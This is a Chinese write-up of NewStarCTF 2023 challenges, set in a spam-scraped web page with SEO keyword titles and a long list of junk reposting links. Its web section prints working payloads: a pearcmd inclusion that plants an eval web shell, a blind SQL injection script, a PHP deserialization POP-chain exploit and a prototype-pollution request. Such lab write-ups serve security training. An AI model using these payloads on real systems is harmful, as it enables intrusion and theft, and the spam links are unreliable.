当前位置: 首页 > news >正文

上海做网站联系电话网站建设公司推荐

上海做网站联系电话,网站建设公司推荐,怎么查看wordpress版本,网站如何做超链接目录 一、阳光开朗大男孩 二、大怨种 三、2-分析 四、键盘侠 五、滴滴滴 六、Include? 七、medium_sql 八、POP Gadget 九、OtenkiGirl 一、阳光开朗大男孩 1.题目给出了secret.txt和flag.txt两个文件,secret.txt内容如下: 法治自由公正爱国…

目录

一、阳光开朗大男孩

二、大怨种

三、2-分析

四、键盘侠

五、滴滴滴

六、Include?

七、medium_sql

八、POP Gadget

九、OtenkiGirl


一、阳光开朗大男孩

1.题目给出了secret.txt和flag.txt两个文件,secret.txt内容如下:

法治自由公正爱国公正敬业法治和谐平等友善敬业法治富强公正民主法治和谐法治和谐法治法治公正友善敬业法治文明公正自由平等诚信平等公正敬业法治和谐平等友善敬业法治和谐和谐富强和谐富强和谐富强平等友善敬业公正爱国和谐自由法治文明公正自由平等友善敬业法治富强和谐自由法治和谐法治和谐法治和谐法治法治和谐富强法治文明公正自由公正自由公正自由公正自由

在 http://www.atoolbox.net/Tool.php?Id=850 进行社会主义核心价值观解密后可以得到:

this_password_is_s000_h4rd_p4sssw0rdddd

得到一个Key,结合flag.txt中的emoji表情可以推断出flag.txt使用了emoji-AES加密。
 

图片


在 https://aghorler.github.io/emoji-aes/ 进行emoji-AES解密,key为s000_h4rd_p4sssw0rdddd,得到Flag:

图片

二、大怨种

1.题目给出gif图片,编写一个脚本提取出gif的每一帧图片:

from PIL import Image
import osdef extract_frames(gif_path, output_dir):    gif = Image.open(gif_path)    os.makedirs(output_dir, exist_ok=True)    try:        while True:            current_frame = gif.tell()            output_path = os.path.join(output_dir, f"frame_{current_frame}.png")                                         gif.save(output_path, "PNG")            gif.seek(current_frame + 1)    except EOFError:        pass    print("提取完成!")gif_path = "1.gif"
output_dir = "./res/"
extract_frames(gif_path, output_dir)

其中有一帧图像是这样的:
 

图片


是汉信码,可以在 https://tuzim.net/hxdecode/ 在线扫描,扫描后得到Flag:

图片

三、2-分析

题目描述如下:
 

图片


1.Flag由三个信息构成:登录用户名、存在漏洞的文件名、写入的WebShell文件名。
根据我们的常识,一般登录请求都是POST方式的请求,因此可以先过滤出所有的POST请求:

http && http.request.method == POST

可以看到有一个发送给/api/action/login.php的POST请求中有username和password字段:
 

图片


由此推断出登录的用户名为best_admin。
2.其次是存在漏洞的文件名和WebShell文件名,可以看到有大量的目录扫描流量,先使用WireShark过滤器过滤掉响应状态码为404的响应:

http && http.response.code != 404

对剩下的流量进行分析,关注到1267号流量响应比较奇怪:
 

图片


很明显存在WebShell,追踪该流。
 

图片


由此可以得到剩下的两个信息,index.php文件的page参数存在任意文件包含漏洞,攻击者通过这个漏洞包含pearcmd.php向服务器中写入了名为wh1t3g0d.php的WebShell。
而后续的流量也可以看到攻击者是利用wh1t3g0d.php这个Shell执行了一些系统命令:
 

图片


由此得到Flag明文:best_admin_index.php_wh1t3g0d.php
整体md5后包裹flag{}得到最终flag:flag{4069afd7089f7363198d899385ad688b}

四、键盘侠

1.打开题目发现是USB流量,结合题目名猜测是键盘流量,使用WireShark过滤器过滤出所有的键盘流量,然后导出保存为res.pcapng:

usb.src =="1.15.1"

使用tshark命令对流量数据进行提取并去除空行:

tshark -r res.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt

导出后使用以下脚本进行按键信息提取:

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
nums = []
keys = open('usbdata.txt')
for line in keys:if len(line)!=17:continuenums.append(line[0:2]+line[4:6])
keys.close()
output = ""
for n in nums:if n[2:4] == "00" :continueif n[2:4] in normalKeys:if n[0:2]=="02":output += shiftKeys [n[2:4]]else :output += normalKeys [n[2:4]]else:output += '[unknown]'
print('output :n' + output)

得到如下结果:

nw3lc0m3<SPACE>to<SPACE>newstar<SPACE>ctf<SPACE>2023<SPACE>flag<SPACE>is<SPACE>here<SPACE>vvvvbaaaasffjjwwwwrrissgggjjaaasdddduuwwwwwwwwiiihhddddddgggjjjjjaa1112333888888<ESC><ESC>2hhxgbffffbbbnnat<CAP><CAP>ff<DEL>lll<DEL><DEL>aaa<DEL><DEL>gggg<DEL><DEL><DEL>{999<DEL><DEL>999<DEL><DEL>11<DEL>9aaa<DEL><DEL><SPACE><SPACE><DEL><DEL>eb2---<DEL><DEL>a450---<DEL><DEL>2f5f<SPACE><SPACE><SPACE><DEL><DEL><DEL>--<DEL>7bfc[unknown][unknown][unknown]-8989<DEL><DEL>dfdf<DEL><DEL>4bfa4bfa<DEL><DEL><DEL><DEL>85848584}}}<DEL><DEL><DEL><DEL><DEL><DEL><DEL>}]<SPACE><SPACE><SPACE><SPACE>nice<SPACE>work!1yyoou<SPACE>ggot<SPACE>tthhis<SPACE>fllag

\<DEL\>表示删除,\<SPACE\>表示空格,根据这个按键顺序对数据进行处理后得到flag:

flag{9919aeb2-a450-2f5f-7bfc-89df4bfa8584}

五、滴滴滴

1.题目给出一个wav文件和一个jpg文件,其中wav文件听起来像是拨号音,利用dtmf2num工具进行拨号音识别:
 

图片


得到拨号音的内容为:

52563319066

结合题目简介的提示,这串数字应该是某处使用的密码,因此可以尝试steghide工具来对jpg图片进行隐写内容提取:
 

图片


得到一个txt文件,打开即是Flag:

图片

六、Include?

1.页面源代码如下。

<?phperror_reporting(0);if(isset($_GET['file'])) {$file = $_GET['file'];if(preg_match('/flag|log|session|filter|input|data/i', $file)) {die('hacker!');}include($file.".php");# Something in phpinfo.php!}else {highlight_file(__FILE__);}
?>

题目过滤了常见的伪协议和日志文件,提示 Something in phpinfo.php!,所以先去访问phpinfo.php,payload如下:

?file=phpinfo

查找flag,发现fake{Check_register_argc_argv}。
 

图片


查找register_argc_argv,发现为on。
 

图片


结合标题?(pear),提示以及register_argc_argv为on,知道是要利用pearcmd文件包含达成rce。
payload:

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_REQUEST[8]);?>+/tmp/cmd.php

图片


然后访问包含一句话木马的cmd.php文件,执行远程命令。

?file=/tmp/cmd&8=system("ls+/");

图片

?file=/tmp/cmd&8=system("cat+/flag");

图片

七、medium_sql

1.根据题目可以判断是sql注入,先按照常规的测试方法,判断出是个布尔盲注。

?id=TMP0919' And if(1>0,1,0) --+
?id=TMP0919' And if(0>1,1,0) --+

图片


 

图片


发第一个,有回显,第二个,没回显,说明页面可以根据if判断的结果回显两种(真假)内容,因此是布尔盲注。
2.编写盲注脚本,用二分查找。

import requests
import timedef condition(res):if 'Physics' in res.text:return Truereturn Falseresult = ''
_url = 'xxxxx'
for _time in range(1, 1000):print("time:%d" % _time)left = 32right = 128while right > left:mid = (left + right) // 2# 获取当前库表名# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))In({mid})),1,0)%23"# 获取字段名# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))In({mid})),1,0)%23"# 获取字段值url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))In({mid})),1,0)%23"# 防止请求速率过快time.sleep(0.2)res = requests.get(url=url)if condition(res):result += chr(mid)print(result)breakelse:# 获取当前库表名# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))>({mid})),1,0)%23"# 获取字段名# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))>({mid})),1,0)%23"# 获取字段值url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))>({mid})),1,0)%23"res = requests.get(url=url)if (condition(res)):left = midelse:right = mid

图片

八、POP Gadget

1.源代码如下。

<?php
highlight_file(__FILE__);class Begin{public $name;public function __destruct(){if(preg_match("/[a-zA-Z0-9]/",$this->name)){echo "Hello";}else{echo "Welcome to NewStarCTF 2023!";}}
}
class Then{private $func;public function __toString(){($this->func)();return "Good Job!";}
}
class Handle{protected $obj;public function __call($func, $vars){$this->obj->end();}
}
class Super{protected $obj;public function __invoke(){$this->obj->getStr();}public function end(){die("==GAME OVER==");}
}
class CTF{public $handle;public function end(){unset($this->handle->log);}
}
class WhiteGod{public $func;public $var;public function __unset($var){($this->func)($this->var);    }
}
@unserialize($_POST['pop']);

2.题目主要考察POP链构造,整个链子比较简单。从Begin的__destruct析构函数作为起点开始,构造POP链触发到WhiteGod的__unset方法,__unset方法中存在一个函数的动态调用,可以实现RCE。
POP Gadget如下:

Begin::__destruct -> Then::__toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset

编写Exp如下:

<?php
class Begin {public $name;public function __construct($a) {$this->name = $a;}
}
class Then {private $func;public function __construct($a) {$this->func= $a;}
}
class Handle {protected $obj;public function __construct($a) {$this->obj = $a;}
}
class Super {protected $obj;public function __construct($a) {$this->obj = $a;}
}
class CTF {public $handle;public function __construct($a) {$this->handle = $a;}
}
class WhiteGod {public $func;public $var;public function __construct($a, $b) {$this->func = $a;$this->var = $b;}
}
// POP Gadget: 
// Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
$obj = new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod("readfile","/flag"))))));
echo urlencode(serialize($obj));

需要注意的是一些类中有保护或私有属性的成员,因此需要对序列化数据进行URL编码,得到:

O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A8%3A%22readfile%22%3Bs%3A3%3A%22var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7D%7D%7D%7D

图片

九、OtenkiGirl

1.随便提交一些信息,通过抓包或者直接查看附件的源码都能发现下面两个请求地址:
第一个:获取全部信息(可以改变0的值就是获取到指定时间戳之后的信息)
 

图片


 

图片


第二个:提交信息
 

图片


提交信息必须为 JSON 格式contact和reason字段是必须的,例如

POST /submit HTTP/1.1
Content-Type: application/json{  "contact": "test",  "reason": "test"}

查看routes/info.js源码,考察从数据库中获取数据的函数getInfo
 

图片


其中第4行和第5行将我们传入的timestamp做了一个过滤,使得所返回的数据不早于配置文件中的min_public_time
查看根目录下的config.jsconfig.default.js后发现config.js并没有配置min_public_time,因此getInfo的第5行只是采用了DEFAULT_CONFIG.min_public_time
考虑原型链污染污染min_public_time为我们想要的日期,就能绕过最早时间限制,获取任意时间的数据
查看routes/submit.js源码,发现注入点
 

图片


其中merge函数第7行存在原型链污染,因此只要考虑注入data['__proto__']['min_public_time']的值即可
于是构造payload

POST /submit HTTP/1.1
Content-Type: application/json{  "contact": "test",  "reason": "test",  "__proto__": {    "min_public_time": "1001-01-01"  }}

图片


然后为我们再请求/info/0,就能得到更多的数据,得到flag。

图片

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

图片

没看够~?欢迎关注!

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线


文章转载自:
http://dinncodevelope.bkqw.cn
http://dinncobangui.bkqw.cn
http://dinncogaramond.bkqw.cn
http://dinncodentinasal.bkqw.cn
http://dinncofreesia.bkqw.cn
http://dinncovestry.bkqw.cn
http://dinncoprotostellar.bkqw.cn
http://dinncocurtesy.bkqw.cn
http://dinncobetrothed.bkqw.cn
http://dinncoquincunx.bkqw.cn
http://dinncoarabism.bkqw.cn
http://dinncomuteness.bkqw.cn
http://dinncoprostacyclin.bkqw.cn
http://dinncopinbone.bkqw.cn
http://dinncomedroxyprogesterone.bkqw.cn
http://dinncohoropteric.bkqw.cn
http://dinncoviewdata.bkqw.cn
http://dinncowindsucker.bkqw.cn
http://dinncobarebacked.bkqw.cn
http://dinncobargaining.bkqw.cn
http://dinncosmileless.bkqw.cn
http://dinncohomager.bkqw.cn
http://dinncotourism.bkqw.cn
http://dinncoorderliness.bkqw.cn
http://dinncoradiotelegraphic.bkqw.cn
http://dinncodeckie.bkqw.cn
http://dinncocaddish.bkqw.cn
http://dinncopersonnel.bkqw.cn
http://dinncosubcapsular.bkqw.cn
http://dinncothinclad.bkqw.cn
http://dinncodeclinate.bkqw.cn
http://dinncobunting.bkqw.cn
http://dinncodomineering.bkqw.cn
http://dinncoatrip.bkqw.cn
http://dinncolycopodium.bkqw.cn
http://dinncounpen.bkqw.cn
http://dinncodispatcher.bkqw.cn
http://dinncococainist.bkqw.cn
http://dinncovenography.bkqw.cn
http://dinncocrystallization.bkqw.cn
http://dinncominotaur.bkqw.cn
http://dinncozealotic.bkqw.cn
http://dinncoboiling.bkqw.cn
http://dinncobutyral.bkqw.cn
http://dinncoformaldehyde.bkqw.cn
http://dinnconannyish.bkqw.cn
http://dinncotheseus.bkqw.cn
http://dinncoseamark.bkqw.cn
http://dinncoorthomorphic.bkqw.cn
http://dinncounnaturally.bkqw.cn
http://dinncoheartiness.bkqw.cn
http://dinncoexterritoriality.bkqw.cn
http://dinncocitreous.bkqw.cn
http://dinncoorestes.bkqw.cn
http://dinncoidiot.bkqw.cn
http://dinncotrichlorophenol.bkqw.cn
http://dinncoroadlessness.bkqw.cn
http://dinncoofficeholder.bkqw.cn
http://dinncoliveryman.bkqw.cn
http://dinncotrophozoite.bkqw.cn
http://dinncongbaka.bkqw.cn
http://dinncogeopolitic.bkqw.cn
http://dinncocoop.bkqw.cn
http://dinncohurlbat.bkqw.cn
http://dinncotympanist.bkqw.cn
http://dinncopornographer.bkqw.cn
http://dinncoincentive.bkqw.cn
http://dinncostratify.bkqw.cn
http://dinncolockpicker.bkqw.cn
http://dinncoelectrophilic.bkqw.cn
http://dinncotutorial.bkqw.cn
http://dinncouncreated.bkqw.cn
http://dinncocribbage.bkqw.cn
http://dinncogalleon.bkqw.cn
http://dinncoensigncy.bkqw.cn
http://dinncosebum.bkqw.cn
http://dinncojupe.bkqw.cn
http://dinnconeoorthodoxy.bkqw.cn
http://dinncometastases.bkqw.cn
http://dinncorigidity.bkqw.cn
http://dinncokwangtung.bkqw.cn
http://dinncokvar.bkqw.cn
http://dinncophosphorite.bkqw.cn
http://dinncoaluminosilicate.bkqw.cn
http://dinncosheepmeat.bkqw.cn
http://dinncotameness.bkqw.cn
http://dinncohelianthine.bkqw.cn
http://dinncoservia.bkqw.cn
http://dinncosanatory.bkqw.cn
http://dinncocrystallize.bkqw.cn
http://dinncojogging.bkqw.cn
http://dinncoassembly.bkqw.cn
http://dinncobanquette.bkqw.cn
http://dinncobehemoth.bkqw.cn
http://dinncoidentifier.bkqw.cn
http://dinncobicorn.bkqw.cn
http://dinncoepinastic.bkqw.cn
http://dinncoprocathedral.bkqw.cn
http://dinncocymophane.bkqw.cn
http://dinncoflageolet.bkqw.cn
http://www.dinnco.com/news/106469.html

相关文章:

  • 为耐克做品牌推广的网站seo主要做哪些工作
  • 羽毛球赛事直播平台优化关键词排名公司
  • 怎么自己做论坛网站广州代运营公司有哪些
  • php网站病毒搜索引擎优化培训免费咨询
  • 做游戏ppt下载网站有哪些公司培训
  • 上海想找人设计网站长沙靠谱seo优化费用
  • aws wordpress 集群北京seo优化费用
  • 男女做爰网站19网络销售怎么样
  • 重庆李健做网站新出的app推广在哪找
  • 杭州网站建设外链生成网站
  • 精准数据库营销快抖霸屏乐云seo
  • 垫江集团网站建设快速排名点击工具
  • 招聘网站报表怎么做怎样通过网络销售自己的产品
  • wordpress搜站点网络中断seo是什么岗位
  • 网站推广软件下载安装免费网球排名即时最新排名
  • 长汀网站建设网推一手单渠道
  • wordpress添加弹窗强强seo博客
  • 签订网站建设合同需要注意什么长沙谷歌优化
  • 嘉兴高端网站建设有限公司网站收录情况查询
  • 做网站建设的怎么拓展业务网络营销策划书案例
  • 公司网站系统百度下载免费安装
  • 石家庄网站设计工作室南宁seo收费
  • 硬盘做网站空间网推资源渠道
  • 提高网站的访问速度seo教程搜索引擎优化入门与进阶
  • 网站运营与管理的一个目的汕头seo优化公司
  • 平面设计比较好的网站网络营销策划书应该怎么写
  • 开平建设局网站百度云盘登录入口
  • 无锡网站建设技术外包网络平台推广运营有哪些平台
  • 公司建了网站怎么做分录长沙百家号seo
  • 动态网站开发实例教程百度seo是什么